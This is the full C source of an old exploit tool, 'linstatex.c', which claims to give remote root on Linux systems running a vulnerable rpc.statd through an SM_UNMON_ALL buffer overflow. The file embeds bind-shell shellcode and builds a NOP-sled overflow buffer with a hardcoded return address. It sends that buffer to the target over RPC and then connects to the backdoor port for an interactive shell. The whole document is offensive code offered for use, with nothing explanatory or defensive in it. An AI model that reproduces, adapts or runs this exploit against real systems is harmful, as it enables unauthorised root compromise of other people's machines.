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- /*
- * -> PRIVATE. DO NOT USE. DO NOT DISTRIBUTE. <-
- *
- * linstatex.c
- * December 28, 1999
- * Remote root overflow for linux rpc.statd SM_UNMON_ALL vulnerability.
- *
- * statd-0.2.4.tar.gz from http://www.kr.kernel.org/pub/linux/daemons/statd/
- *
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <ctype.h>
- #include <string.h>
- #include <memory.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <rpc/rpc.h>
- #include <rpcsvc/sm_inter.h>
- #include <rpcsvc/sm_inter_xdr.c>
- #include <rpcsvc/sm_inter_clnt.c>
-
- #define PROG 100024
- #define VERS 0x01
- #define PROC 0x04 /* SM_UNMON_ALL */
- #define BD_PORT 36864
- #define ADDR 0xbffff104
- #define RETPOS 989
- #define MR_NAME "elite"
-
- char c0de[] =
- "\xeb\x49\x5e\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89\x46\x08"
- "\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x90\x66\x89"
- "\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
- "\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb\x02\xeb"
- "\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29\xc9\xb0"
- "\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69\x6e\x40"
- "\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x08"
- "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0\x40\xcd"
- "\x80\xe8\x64\xff\xff\xff";
-
- u_long
- resolve_host(u_char *host_name)
- {
- struct in_addr addr;
- struct hostent *host_ent;
-
- addr.s_addr = inet_addr(host_name);
- if (addr.s_addr == -1)
- {
- host_ent = gethostbyname(host_name);
- if (!host_ent) return(0);
- memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
- }
-
- return(addr.s_addr);
- }
-
- void
- reclamation(u_long dst_ip)
- {
- struct sockaddr_in sin;
- u_char sock_buf[4096];
- fd_set fds;
- int sock;
-
- usleep(15000);
- sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sock == -1)
- {
- perror("socket allocation");
- exit(-1);
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(BD_PORT);
- sin.sin_addr.s_addr = dst_ip;
-
- if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
- {
- perror("connecting to backdoor");
- close(sock);
- exit(-1);
- }
-
- fprintf(stderr, "owned\n");
- for (;;)
- {
- FD_ZERO(&fds);
- FD_SET(0, &fds); /* STDIN_FILENO */
- FD_SET(sock, &fds);
-
- if (select(255, &fds, NULL, NULL, NULL) == -1)
- {
- perror("select");
- close(sock);
- exit(-1);
- }
-
- memset(sock_buf, 0, sizeof(sock_buf));
-
- if (FD_ISSET(sock, &fds))
- {
- if (recv(sock, sock_buf, sizeof(sock_buf), 0) == -1)
- {
- fprintf(stderr, "Connection closed by foreign host.\n");
- close(sock);
- exit(0);
- }
-
- fprintf(stderr, "%s", sock_buf);
- }
-
- if (FD_ISSET(0, &fds))
- {
- read(0, sock_buf, sizeof(sock_buf));
- write(sock, sock_buf, strlen(sock_buf));
- }
- }
-
- /* NOTREACHED */
- }
-
- static u_char *
- overflow_buf(u_int offset)
- {
- static u_char buf[4096];
- u_long addr = ADDR + offset;
- u_int retpos = RETPOS;
- int i = 0, j = 0;
-
- memset(buf, 0x90, sizeof(buf));
-
- for (i = retpos - strlen(c0de); i < retpos; j++, i++)
- {
- buf[i] = c0de[j];
- }
-
- for (; i < retpos + 4; i += 4)
- {
- buf[i+0] = (addr & 0xff);
- buf[i+1] = (addr >> 8) & 0xff;
- buf[i+2] = (addr >> 16) & 0xff;
- buf[i+3] = (addr >> 24) & 0xff;
- }
-
- buf[i] = 0;
- memset(buf + i, 0, sizeof(buf) - i);
-
- return(buf);
- }
-
- void
- exploit(u_long dst_ip, u_int offset)
- {
- struct sockaddr_in sin;
- struct sm_stat_res stat_res;
- struct mon mon_req;
- struct timeval time_val;
- CLIENT *clnt;
- int sock = RPC_ANYSOCK;
-
- time_val.tv_usec = 0;
- time_val.tv_sec = 10;
-
- memset(&sin, 0, sizeof(struct sockaddr_in));
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = dst_ip;
-
- clnt = clntudp_create(&sin, PROG, VERS, time_val, &sock);
- if (!clnt)
- {
- fprintf(stderr, "err: clntudp_create(): is host running statd?\n");
- exit(-1);
- }
-
- memset(&mon_req, 0, sizeof(struct mon));
- mon_req.mon_id.my_id.my_prog = PROG;
- mon_req.mon_id.my_id.my_vers = VERS;
- mon_req.mon_id.my_id.my_proc = PROC;
- mon_req.mon_id.my_id.my_name = MR_NAME;
- mon_req.mon_id.mon_name = overflow_buf(offset);
- mon_req.priv[0] = '/';
-
- if (clnt_call(clnt, PROC, (xdrproc_t)xdr_mon, &mon_req.mon_id,
- (xdrproc_t)xdr_sm_stat_res, &stat_res, time_val)
- != RPC_SUCCESS)
- {
- usleep(10000);
- clnt_destroy(clnt);
- reclamation(dst_ip);
- }
-
- fprintf(stderr, "clnt_call() succeeded: is the daemon patched?\n");
- clnt_destroy(clnt);
- exit(0);
- }
-
- void
- usage(u_char *nomenclature)
- {
- fprintf(stderr, "usage:\t%s dst_host|ip [-o offset]\n", nomenclature);
- exit(0);
- }
-
- int
- main(int argc, char **argv)
- {
- struct in_addr iaddr;
- u_long dst_ip = 0;
- u_int offset = 0;
- char opt;
-
- fprintf(stderr, "linstatex.c -- Linux rpc.statd SM_UNMON_ALL remote root overflow\n");
- if (argc < 2)
- {
- usage(argv[0]);
- /* NOTREACHED */
- }
-
- dst_ip = resolve_host(argv[1]);
- if (!dst_ip)
- {
- fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
- exit(-1);
- }
-
- while ((opt = getopt(argc, argv, "o:")) != EOF)
- {
- switch(opt)
- {
- case 'o':
- offset = (u_int)atoi(optarg);
- break;
- default:
- usage(argv[0]);
- /* NOTREACHED */
- }
- }
-
- iaddr.s_addr = dst_ip;
- fprintf(stderr, "Attacking target `%s`..\n", inet_ntoa(iaddr));
- exploit(dst_ip, offset);
- /* NOTREACHED */
- }
- /* www.hack.co.za [28 September 2000]*/